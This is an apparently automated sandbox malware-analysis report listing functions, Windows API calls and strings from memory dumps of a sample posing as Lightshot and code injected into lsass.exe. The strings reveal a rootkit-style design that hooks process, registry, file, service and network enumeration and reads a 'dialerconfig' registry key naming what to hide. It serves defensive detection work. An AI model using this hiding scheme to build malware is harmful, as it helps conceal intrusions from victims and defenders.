Opcode ID: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction ID: 11f6652f01d30d499a880f04845b0d96a5f2ff385f29a261dcb8f511d237959d
Opcode Fuzzy Hash: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction Fuzzy Hash: 46F0C811E1894582E310BB6CA98D1BDE360EB6A3D8FA09235DF4D57959DF5CF141C310

Function 00007FF7B1C8219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7B1C821B2
TlsGetValue.KERNEL32 ref: 00007FF7B1C821EB
GetLastError.KERNEL32 ref: 00007FF7B1C821F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7B1C8226C

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction ID: ad6039847d7e89e39794c717edf85846451554120a9972110ce70758abdbfdca
Opcode Fuzzy Hash: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction Fuzzy Hash: 6E01D229A0950286F715AB5DBD8C17492607F26B99FE40131CF0D53E9CDFACA955C220

Analysis Process: lsass.exePID: 640, Parent PID: 1276COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	132
Total number of Limit Nodes:	13

Executed Functions

Function 00000140AE86253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000140AE862620
StrCpyW.SHLWAPI ref: 00000140AE862639

Strings

\\.\pipe\, xrefs: 00000140AE86262B

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 006047059f567fc424369bd4eaabb636d5541b44e56c09e15fbbbd16066aee87
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6E71173624078185EB26DF2BD8407EAA790F38D7A4F640126DF0D5BBA9DE34CE45C382

Function 00000140AE86202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000140AE8620C6

Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE862F27
Part of subcall function 00000140AE862F04: HeapAlloc.KERNEL32 ref: 00000140AE862F3A
Part of subcall function 00000140AE862F04: StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE863015
Part of subcall function 00000140AE862F04: HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE8620BF
S, xrefs: 00000140AE8621E7

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 6995ce01178be5ec7128772deebd1550e485b351504c4b94060f668f1040f1af
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6E51BE32B5572486EB62CB2BA8406EDA3F5F7087A4F249451DF0D13BA5DB35DC91C382

Function 00000140AE861628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861633
HeapAlloc.KERNEL32 ref: 00000140AE861642

Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE86126E
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE86127D
Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE861297
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE8612A8

RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
RegCloseKey.ADVAPI32 ref: 00000140AE861734
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
RegCloseKey.ADVAPI32 ref: 00000140AE86176F
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA
RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
RegCloseKey.ADVAPI32 ref: 00000140AE861820
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
RegCloseKey.ADVAPI32 ref: 00000140AE86185B
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
RegCloseKey.ADVAPI32 ref: 00000140AE861896
RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Part of subcall function 00000140AE8612BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE861327
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE861338
Part of subcall function 00000140AE8612BC: RegEnumValueW.ADVAPI32 ref: 00000140AE861397
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE8613ED
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86140A
Part of subcall function 00000140AE8612BC: HeapFree.KERNEL32 ref: 00000140AE861418
Part of subcall function 00000140AE8612BC: lstrlenW.KERNEL32 ref: 00000140AE861421
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86142F
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE86143D

Strings

paths, xrefs: 00000140AE861788
tcp_remote, xrefs: 00000140AE861839
service_names, xrefs: 00000140AE8617C3
startup, xrefs: 00000140AE8616D5
process_names, xrefs: 00000140AE86174D
pid, xrefs: 00000140AE861712
tcp_local, xrefs: 00000140AE8617FE
udp, xrefs: 00000140AE861874
SOFTWARE\dialerconfig, xrefs: 00000140AE861692

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 4cb465b735a6020238bf1ea048d5c89955278629e63a0cab2664c088472f563d
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 5771E736750B10C6EB129F66E8906D933A5FB89BA8F201121DF4E97B79DF38C844C781

Function 00000140AE861A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000140AE861A60
StrCmpNIW.SHLWAPI ref: 00000140AE861A7A
lstrlenW.KERNEL32 ref: 00000140AE861A89
StrCpyW.SHLWAPI ref: 00000140AE861A9E

Strings

\\?\, xrefs: 00000140AE861A6E

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: c3158435ef4687b1766e3257663a9035ab9b0d40d8f3ba1c44d0f0f8ec37f8a1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 7DF03C3274474192EB618B22E9847996760F74CBE9FA44020DF4D47979DE3DCA8DCB41

Function 00000140AE86328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000140AE8632AE
PathFindFileNameW.SHLWAPI ref: 00000140AE8632BD

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

Part of subcall function 00000140AE863790: GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE863809
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

CreateThread.KERNEL32 ref: 00000140AE86330B

Part of subcall function 00000140AE861D14: GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 3ba806e3e51b1b0dcb359024cf54f050519727a8cf8c5b8b8f5a43b5e8428739
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: BA115E30A9478082F7639B23B9153D922D4B79C765FB041249F4E875B1EF78C844C2C2

Function 00000140AE861ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000140AE861628: GetProcessHeap.KERNEL32 ref: 00000140AE861633
Part of subcall function 00000140AE861628: HeapAlloc.KERNEL32 ref: 00000140AE861642
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861734
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86176F
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA

Sleep.KERNEL32 ref: 00000140AE861AD7
SleepEx.KERNELBASE ref: 00000140AE861ADD

Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861820
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86185B
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861896
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 326f40d2db6ff263f8e0a940b391fb73a78b65f37836ebd93bce5d4d1fbe3847
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2631CC7128074181FF529B27DA513E963A5AB8CBE4F2858219F1E877B7EF34CC51C292

Function 00000140ADFC273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000140ADFC285E

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 06fb5e1ef4416040f010e1a7d6ba73e71e6e03eebacef6a42692c0d9d5c867cd
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 10610732B2179887DB65CF1690407AE7393FB58B98F688121DF5907BD4DA38D863E700

Non-executed Functions

Function 00000140AE862B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000140AE862BD0
lstrlenW.KERNEL32 ref: 00000140AE862E0A

Part of subcall function 00000140AE86199C: OpenProcess.KERNEL32 ref: 00000140AE8619C2
Part of subcall function 00000140AE86199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
Part of subcall function 00000140AE86199C: PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
Part of subcall function 00000140AE86199C: lstrlenW.KERNEL32 ref: 00000140AE8619FB
Part of subcall function 00000140AE86199C: StrCpyW.SHLWAPI ref: 00000140AE861A0E
Part of subcall function 00000140AE86199C: CloseHandle.KERNEL32 ref: 00000140AE861A1C

GetProcAddress.KERNEL32 ref: 00000140AE862BE5

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

StrCmpNIW.SHLWAPI ref: 00000140AE862C28
lstrlenW.KERNEL32 ref: 00000140AE862D50

Strings

ntdll.dll, xrefs: 00000140AE862BC9
\Device\Nsi, xrefs: 00000140AE862C1B
NtQueryObject, xrefs: 00000140AE862BDB

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: bf2ef32ac57e5f465ce725a7a74baab9ea04f71ed1d086599ba6561ce8fa9f42
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 2AB19E72250B5486EB668F2BD4407E9A3A5FB48BA4F645066EF4D53BB5DF34CC40C382

Function 00000140AE86D2A4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000140AE86D31D
RtlLookupFunctionEntry.NTDLL ref: 00000140AE86D335
RtlVirtualUnwind.NTDLL ref: 00000140AE86D370
IsDebuggerPresent.KERNEL32 ref: 00000140AE86D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3BE

Strings

F]:82, xrefs: 00000140AE86D2C1

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: F]:82
API String ID: 1239891234-2422748741
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4b3617ef55b8c279f228a1357564ad9138b4f9cc27f1e8a361b5862f6d2fb0c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 9C314E32654B8086EB619F26E8403DE73A4F789764F600125EF9D47BB8EF38C945CB81

Function 00000140AE867D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000140AE867DAC
RtlCaptureContext.NTDLL ref: 00000140AE867DD9
RtlLookupFunctionEntry.NTDLL ref: 00000140AE867DF3
RtlVirtualUnwind.NTDLL ref: 00000140AE867E34
IsDebuggerPresent.KERNEL32 ref: 00000140AE867E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EB4

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 1503c4d1f0e9a2face0525283fdd9087e61cbfeab21d2c89dc1035b309a16709
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2131A372245B808AEB618F61E8407ED7361F788754F64442ADF4D47BA8EF38C948C790

Function 00000140AE8612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
GetProcessHeap.KERNEL32 ref: 00000140AE861327
HeapAlloc.KERNEL32 ref: 00000140AE861338
RegEnumValueW.ADVAPI32 ref: 00000140AE861397

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
HeapAlloc.KERNEL32 ref: 00000140AE8613ED
GetProcessHeap.KERNEL32 ref: 00000140AE86140A
HeapFree.KERNEL32 ref: 00000140AE861418
lstrlenW.KERNEL32 ref: 00000140AE861421
GetProcessHeap.KERNEL32 ref: 00000140AE86142F
HeapAlloc.KERNEL32 ref: 00000140AE86143D
StrCpyW.SHLWAPI ref: 00000140AE86145F
GetProcessHeap.KERNEL32 ref: 00000140AE861476
HeapFree.KERNEL32 ref: 00000140AE861484

Strings

d, xrefs: 00000140AE86135A

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eaf29793312f880262aa33c4d225e9377ef8ac7c3781aeeffa93a87445d713dc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B5516C32640B8486EB56CF62E54839AB7A1F78DBA9F244124DF4D07B29DF3CC445C791

Function 00000140AE861D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Part of subcall function 00000140AE861FD4: GetModuleHandleA.KERNEL32 ref: 00000140AE861FEC
Part of subcall function 00000140AE861FD4: GetProcAddress.KERNEL32 ref: 00000140AE861FFD

Part of subcall function 00000140AE865B30: GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B

Strings

NtQuerySystemInformation, xrefs: 00000140AE861D45
NtResumeThread, xrefs: 00000140AE861D62
NtEnumerateKey, xrefs: 00000140AE861DB9
NtEnumerateValueKey, xrefs: 00000140AE861DD6
ntdll.dll, xrefs: 00000140AE861D2D
NtQueryDirectoryFile, xrefs: 00000140AE861D7F
advapi32.dll, xrefs: 00000140AE861DF7, 00000140AE861E18
sechost.dll, xrefs: 00000140AE861E39
NtQueryDirectoryFileEx, xrefs: 00000140AE861D9C
EnumServicesStatusExW, xrefs: 00000140AE861E11, 00000140AE861E32
NtDeviceIoControlFile, xrefs: 00000140AE861E56
EnumServiceGroupW, xrefs: 00000140AE861DF0

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2267be31c3c8b37de2fa04f2787d19f37c5545ab8d6e24567a23a1f44e334d39
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 3531A574580B4AA0EA07EB6BE8516E47321BB5D3B4FF05413AE0D131B69F788E49C3D2

Function 00000140ADFC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140ADFC6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000140ADFC698A
_RTC_Initialize.LIBCMT ref: 00000140ADFC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140ADFC69DE
__scrt_release_startup_lock.LIBCMT ref: 00000140ADFC6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000140ADFC69EE
`dynamic initializer for ', xrefs: 00000140ADFC69C7
`eh vector copy constructor iterator', xrefs: 00000140ADFC6A3B
scriptor', xrefs: 00000140ADFC6B39, 00000140ADFC6BB2, 00000140ADFC6BEC

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 79a856343edf9d6588f3d0cd2b4f253cfe509a1624521d714eea0eda72951458
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: FC81E23162834987F656AB6798403DB72A3EF8D784F3440259B69477B6DB38C867B300

Function 00000140AE86CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000140AE86CE37
FlsGetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE4C
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE6D
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE9A
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEAB
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEBC
SetLastError.KERNEL32 ref: 00000140AE86CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000140AE86ECCC,?,?,?,?,00000140AE86BF9F,?,?,?,?,?,00000140AE867AB0), ref: 00000140AE86CF2C

Part of subcall function 00000140AE86D6CC: HeapAlloc.KERNEL32 ref: 00000140AE86D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF54

Part of subcall function 00000140AE86D744: HeapFree.KERNEL32 ref: 00000140AE86D75A
Part of subcall function 00000140AE86D744: GetLastError.KERNEL32 ref: 00000140AE86D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF76

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: b2b40885048b18a77dd749f130d094d7928ae544b3603784d23cb63539606b23
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
